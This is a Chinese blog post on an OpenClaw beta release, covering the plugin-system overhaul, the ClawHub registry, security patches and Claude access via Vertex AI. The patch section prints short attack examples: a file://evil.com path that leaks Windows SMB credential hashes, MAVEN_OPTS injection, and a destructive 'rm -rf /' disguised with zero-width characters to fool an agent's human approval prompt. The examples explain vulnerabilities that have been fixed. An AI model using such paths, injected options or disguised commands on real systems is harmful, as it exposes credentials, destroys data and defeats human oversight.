我们昨天刚讲了微信的ClawBot,今天它就罢工,不是因为微信没准备好,是因为OpenClaw底层的插件系统——彻底换了一套玩法。
3月23日,OpenClaw发布「2026.3.22-beta.1」预览版。这次更新没有新功能,只有一件事:重构插件系统,收编生态,并堵上了十多个安全窟窿。今天不聊新闻,只拆代码。看看OpenClaw这次到底改了啥,以及——你的插件为什么用不了了。
一、旧插件为什么挂了?因为API被连根拔了
微信ClawBot基于旧版openclaw/extension-api开发。3.22版本把这套API完全移除了,没有兼容层,没有过渡期。
旧版插件长这样(简化版):
// 旧版插件入口
import { registerExtension } from'openclaw/extension-api';
registerExtension({
name: 'wechat-clawbot',
onMessage: async (msg) => {
// 处理微信消息
return { reply: '收到' };
}
});
新版插件长这样(3.22+):
// 新版插件入口
import { definePlugin } from'openclaw/plugin-sdk';
exportdefault definePlugin({
id: 'wechat-clawbot',
version: '2.0.0',
hooks: {
'message:receive': async (ctx) => {
// ctx里多了权限校验、沙箱隔离
return { reply: '收到' };
}
}
});
差异在哪?
extension-api是“野生模式”:插件拿到什么权限全凭自觉,想访问文件系统就访问,想发网络请求就发plugin-sdk是“家养模式”:插件必须声明自己需要什么权限,通过hooks注册到特定生命周期,运行时被严格限制
老王翻译:以前插件像你家大门钥匙随便配,谁都能进来;现在插件得在物业登记、领门禁卡、走指定通道。
二、ClawHub成为唯一入口,npm被降级
3.22版本另一个关键改动:插件安装的默认来源变了。
以前:
openclaw plugins install wechat-clawbot # 直接从npm拉包
现在:
openclaw plugins install wechat-clawbot # 先去ClawHub找,找不到才回退npm
为什么这么改?看一组数据就知道:2026年3月初,奇安信报告显示,ClawHub上超过75万个Skill,每天新增2.1万个,其中近9%存在漏洞风险。npm更惨——谁都能发包,恶意技能藏得更深。
把ClawHub变成首选入口,OpenClaw等于把插件分发权收归官方。以后上架插件至少得经过基础审核,虽然不能完全杜绝恶意代码,但至少比npm裸奔强。
技术细节:openclaw/plugin-sdk里新加了@openclaw/registry模块,专门负责插件来源校验。插件安装时会先验证签名,只有通过ClawHub签名的包才被信任。自己从npm装的?可以,但会收到警告:“此插件未经官方审核”。
三、10多个漏洞一次封堵,挑几个硬的讲
3.22版本打了十多个安全补丁,我挑几个技术含量高的拆:
漏洞1:Windows SMB凭证泄露
攻击者可以通过构造特殊的file://或UNC路径,在媒体加载环节触发Windows自动发起SMB认证握手。
// 攻击者让AI加载这个路径
const maliciousPath = 'file://evil.com/share/image.jpg';
// Windows会向evil.com发送你的登录凭证哈希
// 攻击者拿到后可以离线破解
修复方式:openclaw/plugin-sdk里的媒体加载模块,新增了协议白名单。只允许http:、https:、data:,file:直接禁止。攻击路径被封死。
漏洞2:环境变量注入
之前OpenClaw在执行构建任务时,会继承系统的MAVEN_OPTS、SBT_OPTS、GRADLE_OPTS等环境变量。攻击者可以通过这些变量注入恶意JVM参数,执行任意代码。
# 攻击者设置环境变量
export MAVEN_OPTS="-Djava.security.manager=... -Xlog:..."
# OpenClaw执行maven时,这些参数会被传递
修复方式:新版把环境变量清洗了一遍,高危变量被直接屏蔽。代码在packages/executor/src/sandbox.ts里,新增了SANDBOX_ENV白名单,只保留PATH、HOME这类基础变量。
漏洞3:Unicode零宽字符审批伪装
这是最骚的一个。有人发现可以用不可见的韩文填充码位来伪装审批提示,让操作者在审批时看不到真实的命令内容。
// 攻击者在命令里插入零宽字符
const malicious = 'rm\u200B -rf\u200B /'; // 看起来是"rm -rf /"
// 在终端里显示时,零宽字符不可见
// 用户审批时以为只是普通命令
修复方式:3.22在网关和macOS原生审批界面中全面转义了这类字符。代码在packages/gateway/src/approval.ts里,新增了sanitizeUnicode函数,把所有零宽字符替换成<U+XXXX>形式,让恶意命令无处遁形。
四、模型层更新:GPT-5.4上位,Vertex AI正式接Claude
3.22版本把默认OpenAI模型从5.2切到了GPT-5.4。配置变更:
{
"models": {
"openai": {
"default": "gpt-5.4",
"fallback": "gpt-5.4-mini",
"legacy": "gpt-5.2"
}
}
}
同时预置了gpt-5.4-mini和gpt-5.4-nano的前向兼容支持,模型一上线就能无缝接入。
MiniMax方面,默认模型从M2.5升级到M2.7,还合并了此前分离的API和OAuth两个插件入口,配置复杂度大幅降低。
另一亮点:Anthropic Vertex正式接入。现在可以通过Google Cloud的Vertex AI平台直接调用Claude模型。这对已经在Google Cloud上跑业务的团队来说,价值巨大。
对OpenClaw用户意味着什么?
第一,多了一条模型通道,还多了一层可靠性。
以前OpenClaw要调用Claude,只能走Anthropic官方API。现在多了Google Cloud这条线,等于给关键业务多了一个备份通道。如果某条线出问题,可以无缝切到另一条。这对需要高可用性的企业场景尤其重要。
第二,价格可能更友好,尤其对企业用户。
Vertex AI的Claude模型定价与Anthropic官方API持平,但Google Cloud的企业折扣、承诺消费折扣可以叠加。对企业用户来说,这可能意味着更低的综合成本。而且,Google Cloud的账单体系与Anthropic独立,意味着你可以在两个云之间做成本优化。
第三,但需要留意区域限制。
Vertex AI的Claude模型并非所有区域都开放。目前主要支持us-central1、us-east5、europe-west4等区域。如果你的业务部署在其他区域,可能需要额外配置或接受额外的网络延迟。
第四,模型版本号必须写全。
Vertex AI上的Claude模型名称必须带日期后缀,例如claude-sonnet-4-6@20251001,不能简写为claude-sonnet-4-6。这是Google Cloud API的命名规范,OpenClaw 3.22已经兼容。
第五,对跨云部署的团队是重大利好。
如果你已经在用AWS Bedrock调用Claude,现在又多了一个选择。OpenClaw正在成为真正的“多云AI Agent调度层”——你可以在一个配置里混用Anthropic官方API、AWS Bedrock、Google Vertex AI,甚至本地Ollama。
目前可用的Claude模型列表(Vertex AI)
根据LangChain文档和LiveKit插件信息,Vertex AI已支持的Claude模型包括:
claude-haiku-4-5@20251001 | ||
claude-sonnet-4-5@20250929 | ||
claude-sonnet-4-6@20251001 | ||
claude-opus-4-5@20251101 | ||
claude-opus-4-6@20251101 |
⚠️ 注意:Claude 3 Haiku将于2026年8月23日停止支持,建议迁移到Claude Haiku 4.5。另外,不同区域支持的模型版本可能略有差异,建议用
gcloud ai models list确认。
在OpenClaw中配置示例:
models:
providers:
anthropic-vertex:
enabled:true
project:"your-gcp-project-id"
location:"us-central1"
model:"claude-sonnet-4-6@20251001"
对OpenClaw生态的长期影响
1. 从“单云依赖”到“多云调度”
OpenClaw正在把自己变成多云AI Agent的调度层。目前已经支持:
Anthropic官方API AWS Bedrock(Claude模型) Google Vertex AI(Claude模型) OpenAI(GPT系列) 国产模型(DeepSeek、智谱、通义千问、MiniMax等) 本地模型(Ollama)
未来你可以在一个配置里混用这些模型,OpenClaw负责根据任务类型、成本、延迟自动路由到最合适的模型。这才是“AI操作系统”该有的样子。
2. Google借OpenClaw推广TPU生态
Google Cloud愿意把Claude集成进Vertex AI,背后是TPU的战略。TPU作为Nvidia GPU的替代品,一直缺乏外部明星客户背书。Anthropic就是那个样板。而OpenClaw作为开发者使用最广泛的AI Agent框架,它的接入意味着大量开发者将通过Vertex AI间接接触TPU算力。
3. 生态“收编”才刚刚开始
3.22版本把插件分发权收归ClawHub,强制插件走官方渠道。这背后是OpenClaw从“极客玩具”到“工程化平台”的必然演进。未来还会有更多“收编”动作:插件签名强制化、运行时权限细化、官方安全审计服务……这些都是生态走向成熟必须经历的阵痛。
4. 对开发者意味着什么?
短期看,你得学新API,改旧插件,适应新规则。长期看,这是好事——一个混乱的、满大街恶意插件的生态,对谁都没有好处。生态收编之后,插件质量有保障、安全有底线、分发有渠道,这才是能持续发展的平台。
五、老王的“新版迁移”资料包
这次升级的核心就一件事:插件生态从“野生”变成“家养”。如果你自己写过插件,或者依赖的插件还没更新,这份资料包能帮你平稳过渡:
《旧版插件迁移指南》: extension-api到plugin-sdk的逐行对照《ClawHub插件上架流程》:如果你想把自己的插件发到官方市场 《3.22安全配置清单》:基于新版SDK的最小权限配置模板 《漏洞自查脚本(3.22版)》:跑一遍,确认你的版本修了哪些坑
回复关键词「新版」直接领取。
最后说两句
微信ClawBot的罢工,不是意外。OpenClaw正在从“极客玩具”走向“工程化平台”,插件系统收编是必经之路。
这次没修兼容层,不是技术做不到,是故意的——告诉所有开发者:旧路子走不通了,来,按新规则玩。
Google Cloud接入Claude,不是简单的增加一个模型选项,而是OpenClaw构建“多云Agent调度层”的一步棋。未来的AI操作系统,不应该绑死在任何一个云上。
夜雨聆风